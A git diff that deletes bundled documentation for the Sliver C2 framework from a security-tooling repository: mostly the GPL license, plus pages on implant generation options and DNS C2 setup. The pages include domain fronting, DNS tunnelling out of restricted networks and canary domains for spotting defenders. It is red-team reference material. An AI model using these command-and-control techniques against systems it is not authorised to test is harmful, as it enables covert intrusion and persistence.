diff --git a/NOTICE b/NOTICE index 4b844f7..0e1deed 100644 --- a/NOTICE +++ b/NOTICE @@ -14,10 +14,6 @@ capabilities/mythic-c2/docs/apollo/ Copyright (c) 2022, Dwight Hohnstein. License: BSD-3-Clause. See capabilities/mythic-c2/docs/apollo/LICENSE. -capabilities/sliver-c2/docs/sliver/ - Sliver documentation by Bishop Fox. - License: GPL-3.0. See capabilities/sliver-c2/docs/sliver/LICENSE. - capabilities/web-security/skills/agent-browser/ Skill documentation ported from the agent-browser CLI by Vercel Labs (https://github.com/vercel-labs/agent-browser). diff --git a/capabilities/sliver-c2/capability.yaml b/capabilities/sliver-c2/capability.yaml index c7cba6c..aa8af73 100644 --- a/capabilities/sliver-c2/capability.yaml +++ b/capabilities/sliver-c2/capability.yaml @@ -1,6 +1,6 @@ schema: 1 name: sliver-c2 -version: "1.0.0" +version: "1.0.1" description: > Sliver C2 framework integration. Provides server management (session and beacon listing, listener creation, implant generation) and implant diff --git a/capabilities/sliver-c2/docs/sliver/LICENSE b/capabilities/sliver-c2/docs/sliver/LICENSE deleted file mode 100644 index e72bfdd..0000000 --- a/capabilities/sliver-c2/docs/sliver/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer for sale, import and otherwise run, modify and -propagate the contents of its contributor version. - - In the following three paragraphs, a "patent license" is any express -agreement or commitment, however denominated, not to enforce a patent -(such as an express permission to practice a patent or covenant not to -sue for patent infringement). To "grant" such a patent license to a -party means to make such an agreement or commitment not to enforce a -patent against the party. - - If you convey a covered work, knowingly relying on a patent license, -and the Corresponding Source of the work is not available for anyone -to copy, free of charge and under the terms of this License, through a -publicly available network server or other readily accessible means, -then you must either (1) cause the Corresponding Source to be so -available, or (2) arrange to deprive yourself of the benefit of the -patent license for this particular work, or (3) arrange, in a manner -consistent with the requirements of this License, to extend the patent -license to downstream recipients. "Knowingly relying" means you have -actual knowledge that, but for the patent license, your conveying the -covered work in a country, or your recipient's use of the covered work -in a country, would infringe one or more identifiable patents in that -country that you have reason to believe are valid. - - If, pursuant to or in connection with a single transaction or -arrangement, you convey, or propagate by procuring conveyance of, a -covered work, and grant a patent license to some of the parties -receiving the covered work authorizing them to use, propagate, modify -or convey a specific copy of the covered work, then the patent license -you grant is automatically extended to all recipients of the covered -work and works based on it. - - A patent license is "discriminatory" if it does not include within -the scope of its coverage, prohibits the exercise of, or is -conditioned on the non-exercise of one or more of the rights that are -specifically granted under this License. You may not convey a covered -work if you are a party to an arrangement with a third party that is -in the business of distributing software, under which you make payment -to the third party based on the extent of your activity of conveying -the work, and under which the third party grants, to any of the -parties who would receive the covered work from you, a discriminatory -patent license (a) in connection with copies of the covered work -conveyed by you (or copies made from those copies), or (b) primarily -for and in connection with specific products or compilations that -contain the covered work, unless you entered into that arrangement, -or that patent license was granted, prior to 28 March 2007. - - Nothing in this License shall be construed as excluding or limiting -any implied license or other defenses to infringement that may -otherwise be available to you under applicable patent law. - - 12. No Surrender of Others' Freedom. - - If conditions are imposed on you (whether by court order, agreement or -otherwise) that contradict the conditions of this License, they do not -excuse you from the conditions of this License. If you cannot convey a -covered work so as to satisfy simultaneously your obligations under this -License and any other pertinent obligations, then as a consequence you may -not convey it at all. For example, if you agree to terms that obligate you -to collect a royalty for further conveying from those to whom you convey -the Program, the only way you could satisfy both those terms and this -License would be to refrain entirely from conveying the Program. - - 13. Use with the GNU Affero General Public License. - - Notwithstanding any other provision of this License, you have -permission to link or combine any covered work with a work licensed -under version 3 of the GNU Affero General Public License into a single -combined work, and to convey the resulting work. The terms of this -License will continue to apply to the part which is the covered work, -but the special requirements of the GNU Affero General Public License, -section 13, concerning interaction through a network will apply to the -combination as such. - - 14. Revised Versions of this License. - - The Free Software Foundation may publish revised and/or new versions of -the GNU General Public License from time to time. Such new versions will -be similar in spirit to the present version, but may differ in detail to -address new problems or concerns. - - Each version is given a distinguishing version number. If the -Program specifies that a certain numbered version of the GNU General -Public License "or any later version" applies to it, you have the -option of following the terms and conditions either of that numbered -version or of any later version published by the Free Software -Foundation. If the Program does not specify a version number of the -GNU General Public License, you may choose any version ever published -by the Free Software Foundation. - - If the Program specifies that a proxy can decide which future -versions of the GNU General Public License can be used, that proxy's -public statement of acceptance of a version permanently authorizes you -to choose that version for the Program. - - Later license versions may give you additional or different -permissions. However, no additional obligations are imposed on any -author or copyright holder as a result of your choosing to follow a -later version. - - 15. Disclaimer of Warranty. - - THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY -APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT -HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY -OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, -THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR -PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM -IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF -ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - - 16. Limitation of Liability. - - IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING -WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS -THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY -GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE -USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF -DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD -PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), -EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF -SUCH DAMAGES. - - 17. Interpretation of Sections 15 and 16. - - If the disclaimer of warranty and limitation of liability provided -above cannot be given local legal effect according to their terms, -reviewing courts shall apply local law that most closely approximates -an absolute waiver of all civil liability in connection with the -Program, unless a warranty or assumption of liability accompanies a -copy of the Program in return for a fee. - - END OF TERMS AND CONDITIONS - - How to Apply These Terms to Your New Programs - - If you develop a new program, and you want it to be of the greatest -possible use to the public, the best way to achieve this is to make it -free software which everyone can redistribute and change under these terms. - - To do so, attach the following notices to the program. It is safest -to attach them to the start of each source file to most effectively -state the exclusion of warranty; and each file should have at least -the "copyright" line and a pointer to where the full notice is found. - - - Copyright (C) - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. \ No newline at end of file diff --git a/capabilities/sliver-c2/docs/sliver/c2/c2-advanced-options.md b/capabilities/sliver-c2/docs/sliver/c2/c2-advanced-options.md deleted file mode 100644 index 5b08039..0000000 --- a/capabilities/sliver-c2/docs/sliver/c2/c2-advanced-options.md +++ /dev/null @@ -1,33 +0,0 @@ -Advanced options, as the name suggests, are for advanced users that know what they're doing. Using these options isn't the best user experience and may result in broken or unexpected implant behavior. Only use these options if you understand what they do. - -Advanced options are configured per-C2 endpoint and are passed as URL encoded parameters to the C2 URL in the `generate` command. For example: - -``` -generate --http http://example.com?driver=wininet -``` - -### HTTP C2 Advanced Options - -- `net-timeout` - Network timeout value, parsed by `time.ParseDuration`. -- `tls-timeout` - TLS handshake timeout value, parsed by `time.ParseDuration`. -- `poll-timeout` - Poll timeout value, parsed by `time.ParseDuration`. -- `max-errors` - Max number of HTTP errors before failing (integer parsed by `strconv.Atoi`). -- `driver` - Manually specify the HTTP driver (string). On windows this value can be set to `wininet` to use the `wininet` HTTP library for C2 communication. -- `force-http` - Set to `true` to always force the use of plaintext HTTP. -- `disable-accept-header` - Set to `true` to disable the HTTP accept request header. -- `disable-upgrade-header` - Set to `true` to disable the HTTP upgrade request header. -- `proxy` - Manually specify HTTP proxy, this value is only used with Go HTTP driver, and the format should be one that is accepted by the Go HTTP library. You must specify a URI scheme with the hostname of the proxy. For example, `?proxy=http://myproxy.corp.com:8080` -- `proxy-username` - Specify a proxy username. Only valid with the Go HTTP driver. -- `proxy-password` - Specify the proxy password. Only valid with the Go HTTP driver. -- `ask-proxy-creds` - Set to `true` to ask the user for HTTP proxy credentials. Only valid when used with the `wininet` HTTP driver. -- `host-header` - Used for domain fronting. - -### DNS C2 Advanced Options - -- `timeout` - Network timeout value, parsed by `time.ParseDuration`. -- `retry-wait` - Upon query failure, wait this amount of time before retrying. -- `retry-count` - Upon query failure, retry this many times before failing. -- `workers-per-resolver` - Number of worker goroutines per functional DNS resolver. -- `max-errors` - Max number of query errors before failing (integer parsed by `strconv.Atoi`). -- `force-resolv-conf` - Force the use of a provided `resolv.conf`. Note that you'll need to URL encode the newlines/etc of the file contents into the parameter. -- `resolvers` - Force the use of specific DNS resolvers. You can supply more than one by separating them with `+`, i.e. `...?resolvers=1.1.1.1+9.9.9.9` diff --git a/capabilities/sliver-c2/docs/sliver/c2/dns-c2.md b/capabilities/sliver-c2/docs/sliver/c2/dns-c2.md deleted file mode 100644 index 65c9989..0000000 --- a/capabilities/sliver-c2/docs/sliver/c2/dns-c2.md +++ /dev/null @@ -1,148 +0,0 @@ -DNS can be a finicky, nuanced protocol. If you're unfamiliar with DNS and related concepts, I'd recommend reading up on the protocol and ecosystem a bit before leveraging it for C2. - -# Setup - -Use the following steps to configure a domain for DNS C2 (and DNS Canaries). You can use any DNS provider you wish as long as you set up the records correctly. I recommend setting a TTL of ~5 minutes for each record. - -1. Create an `A` record for your `example.com` pointing at your Sliver server (or redirector) IP address. -2. Create an `A` record for an `ns1` subdomain (i.e. `ns1.example.com`) that points to your Sliver server (or redirector) IP address. -3. Create an NS record with an arbitrary subdomain, for example `1` (i.e. `1.example.com`) which is managed by `ns1.example.com`. -4. You can now use `1.example.com` as your DNS C2 domain e.g. `generate --dns 1.example.com.` (always use the FQDN when issuing DNS commands). - -**IMPORTANT:** Always use the FQDN when issuing DNS commands in the Sliver console (e.g., `1.example.com.` note the trailing `.`). DNS is a finicky protocol! - -The final configuration should look like this for the domain `lil-peep.rip`: -![DNS Configuration](/images/dns-c2-1.png) - -**IMPORTANT:** Remember to disable Cloudflare's "cloud" when configuring these records, and to adjust the TTLs. - -### DNS Listeners - -Make sure you have a DNS listener running, and use the FQDN again. Sliver will not be able to correctly parse C2 traffic if the parent domain is misconfigured: - -``` -sliver > dns --domains 1.example.com. - -[*] Starting DNS listener with parent domain(s) [1.example.com.] ... -[*] Successfully started job #1 -``` - -### DNS Canaries - -DNS Canaries are unique per-binary domains that are optionally inserted during the string obfuscation process. These domains are not actually used by the implant code and are deliberately _not obfuscated_ so that they show up if someone runs `strings` on the implant. If these domains are ever resolved (and you have a `dns` listener running) you'll get an alert telling you which specific file was discovered by the blue team. - -Example `generate` command with canaries, make sure to use the FQDN: - -``` -sliver > generate --http foobar.com --canary 1.example.com. -``` - -You can view previously generated canaries with the `canaries` command. - -### Ubuntu - -**NOTE:** On recent versions of Ubuntu, you may need to disable `systemd-resolved` as this binds to your local UDP:53 and messes up everything about how DNS is supposed to work. To use a sane DNS configuration run the following commands as root because `resolved` probably broke `sudo` too: - -``` -systemctl disable systemd-resolved.service -systemctl stop systemd-resolved -rm -f /etc/resolv.conf -vim /etc/resolv.conf -``` - -Add a normal `resolv.conf`: - -``` -nameserver 1.1.1.1 -nameserver 8.8.8.8 -``` - -# Under the Hood - -**NOTE:** This describes the current implementation of DNS C2. Also, I'm not going to cover the cryptographic key exchange, which you can read about [here](/docs?name=Transport+Encryption); this is just about how we move bytes back and forth. - -### Design Goals - -The current implementation of DNS C2 is primarily designed for "speed" (as far as DNS tunnels go) NOT stealth; it does not intend to be subtle in its use of DNS to tunnel data. While DNS can be a very useful protocol for stealthy signaling, Sliver here is creating a full-duplex tunnel; doing so covertly would generally be far too slow to be practical. The general rule of thumb is that DNS C2 is easy to detect _if you look_. That's not to say DNS C2 isn't useful or will be immediately detected, as often no one looks. As DNS does not require direct "line of sight" networking, it is often useful for tunneling out of highly restricted networks, and if the environment has not been instrumented to specifically detect DNS C2 it will likely go undetected. - -For example glossing over some details, if a DNS client attempts to `foo.1.example.com` it will query its local resolver for an answer. If the resolver does not know the answer it will start "recursively" resolving the domain, eventually finding its way to the "authoritative name server" for the domain, which is controlled by the owner of `example.com`. DNS C2 works by stuffing data in a subdomain, and then sending a query for that subdomain to the authoritative name server. - -``` -[implant] <--> [resolver] - |<------> [.] - |<------> [.com.] - |<------> [example.com.] (attacker controlled) -``` - -This allows an implant to establish a connection to an attacker-controlled host even when the implant cannot route TCP or UDP traffic to the internet. The tradeoff is that DNS queries are generally very small; in fact, if we're lucky we can maybe encode around ~175 bytes per query (more on that later). So if you want to download a 2 MB file then we're going to have to send _a lot of_ queries, which means that DNS communication is going to be _slow_ (~30 Kbps) even at the best of times. - -### Rude DNS Resolvers - -The novice hacker often may think that something like DNS, being a fundamental building block of the internet, would be strictly defined and implemented. This of course could not be further from reality; the DNS protocol specification is really more what you call "guidelines" than actual rules. It is common for DNS resolvers to ignore TTL values, modify query contents, drop packets, and lie in responses. Since we cannot control what resolvers we may need to use in an operational environment, and we want to build reliable C2 connections, we must expect this type of behavior and design around it. - -### Encoder Selection - -So if we want to build a "fast" DNS tunnel, we need to be able to pack as much data into each request as possible, more data per query the fewer queries we need to send for a given message. - -So how much data can we stuff into a DNS query? Well let's take a look at what goes into a DNS query, a DNS query contains some header fields and then a "questions" section, a single query may contain multiple questions. For example, we can ask "is there an A record for example.com" (an A records contain IPv4 addresses). Now, we can encode a handful of bits into some of the header fields and a couple other sections like the Type/Class, but by far the largest field is `QNAME`, which contains the domain we're asking a question about: - -``` - 1 1 1 1 1 1 - 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 - +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ - | | - / QNAME / - / / - +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ - | QTYPE | - +--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+ - | QCLASS | - 